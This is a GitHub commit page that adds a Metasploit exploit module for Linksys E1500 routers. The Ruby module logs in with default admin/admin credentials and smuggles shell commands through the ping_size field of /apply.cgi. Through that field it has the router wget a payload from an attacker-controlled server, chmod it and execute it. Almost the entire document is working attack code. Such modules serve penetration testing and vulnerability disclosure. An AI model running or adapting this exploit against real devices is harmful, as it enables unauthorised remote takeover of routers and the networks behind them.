Skip to content

Commit dfd451f

Browse files
author
m-1-k-3
committed
make msftidy happy
1 parent e042fd3 commit dfd451f

File tree

2 files changed

+192
-196
lines changed

2 files changed

+192
-196
lines changed
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Linksys E1500 Command Execution - Upload and Execute',
19+
'Description' => %q{
20+
This module can be used to execute a payload on Linksys Routers
21+
},
22+
'Author' => [ 'Michael Messner <[email protected]>'],
23+
'License' => MSF_LICENSE,
24+
'References' =>
25+
[
26+
[ 'BID', '57760' ],
27+
[ 'EDB', '24475' ],
28+
[ 'OSVDB', '89912' ],
29+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
30+
],
31+
'DisclosureDate' => 'Feb 05 2013',
32+
'Privileged' => true,
33+
'Platform' => [ 'linux' ],
34+
'Arch' => ARCH_MIPSLE,
35+
'Targets' => [[ 'Automatic', { }]],
36+
'Payload' =>
37+
{
38+
'Space' => 1024,
39+
'DisableNops' => true,
40+
},
41+
'DefaultTarget' => 0
42+
))
43+
44+
register_options(
45+
[
46+
Opt::RPORT(80),
47+
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
48+
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
49+
OptString.new('DOWNHOST', [ false, 'The host to request the MIPS payload from' ]),
50+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)', nil ]),
51+
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
52+
], self.class)
53+
end
54+
55+
#MISSING - command execution payload
56+
57+
def request(cmd,user,pass,uri)
58+
begin
59+
res = send_request_cgi({
60+
'uri' => uri,
61+
'method' => 'POST',
62+
'authorization' => basic_auth(user,pass),
63+
'vars_post' => {
64+
"submit_button" => "Diagnostics",
65+
"change_action" => "gozila_cgi",
66+
"submit_type" => "start_ping",
67+
"action" => "",
68+
"commit" => "0",
69+
"ping_ip" => "1.1.1.1",
70+
"ping_size" => "&#{cmd}&",
71+
"ping_times" => "5",
72+
"traceroute_ip" => ""
73+
}
74+
})
75+
76+
if (! res)
77+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload [No Response]")
78+
end
79+
80+
rescue ::Rex::ConnectionError
81+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
82+
return
83+
end
84+
end
85+
86+
def exploit
87+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
88+
uri = '/apply.cgi'
89+
user = datastore['USERNAME']
90+
pass = datastore['PASSWORD']
91+
rhost = datastore['RHOST']
92+
rport = datastore['RPORT']
93+
94+
# We must regenerate the payload-> not sure if this is the right way
95+
arch = "ARCH_MIPSLE"
96+
plat = "linux"
97+
p = exploit_regenerate_payload(plat, arch)
98+
@pl = p.encoded_exe
99+
100+
#
101+
# start our server
102+
#
103+
resource_uri = '/' + downfile
104+
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
105+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
106+
start_service({'Uri' => {
107+
'Proc' => Proc.new { |cli, req|
108+
on_request_uri(cli, req)
109+
},
110+
'Path' => resource_uri
111+
}})
112+
113+
if (datastore['DOWNHOST'])
114+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
115+
end
116+
117+
118+
#
119+
# testing Login
120+
#
121+
122+
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
123+
124+
begin
125+
res = send_request_cgi({
126+
'uri' => uri,
127+
'method' => 'GET',
128+
'authorization' => basic_auth(user,pass)
129+
})
130+
131+
return if res.nil?
132+
return if (res.code == 404)
133+
134+
if [200, 301, 302].include?(res.code)
135+
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
136+
else
137+
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
138+
return
139+
end
140+
141+
rescue ::Rex::ConnectionError
142+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
143+
return
144+
end
145+
146+
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
147+
148+
#this filename is used to store the payload on the device
149+
filename = rand_text_alpha_lower(8)
150+
151+
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
152+
153+
request(cmd,user,pass,uri)
154+
155+
#
156+
# chmod
157+
#
158+
159+
cmd = "chmod 777 /tmp/#{filename}"
160+
161+
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}")
162+
163+
request(cmd,user,pass,uri)
164+
165+
#
166+
# execute
167+
#
168+
169+
cmd = "/tmp/#{filename}"
170+
171+
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
172+
173+
request(cmd,user,pass,uri)
174+
175+
handler
176+
end
177+
178+
179+
# # Handle incoming requests from the server
180+
def on_request_uri(cli, request)
181+
182+
#print_status("on_request_uri called: #{request.inspect}")
183+
if (not @pl)
184+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
185+
return
186+
end
187+
188+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
189+
send_response(cli, @pl)
190+
end
191+
192+
end

modules/exploits/multi/http/linksys_e1500_up_exec.rb

Lines changed: 0 additions & 196 deletions
This file was deleted.

0 commit comments

Comments
 (0)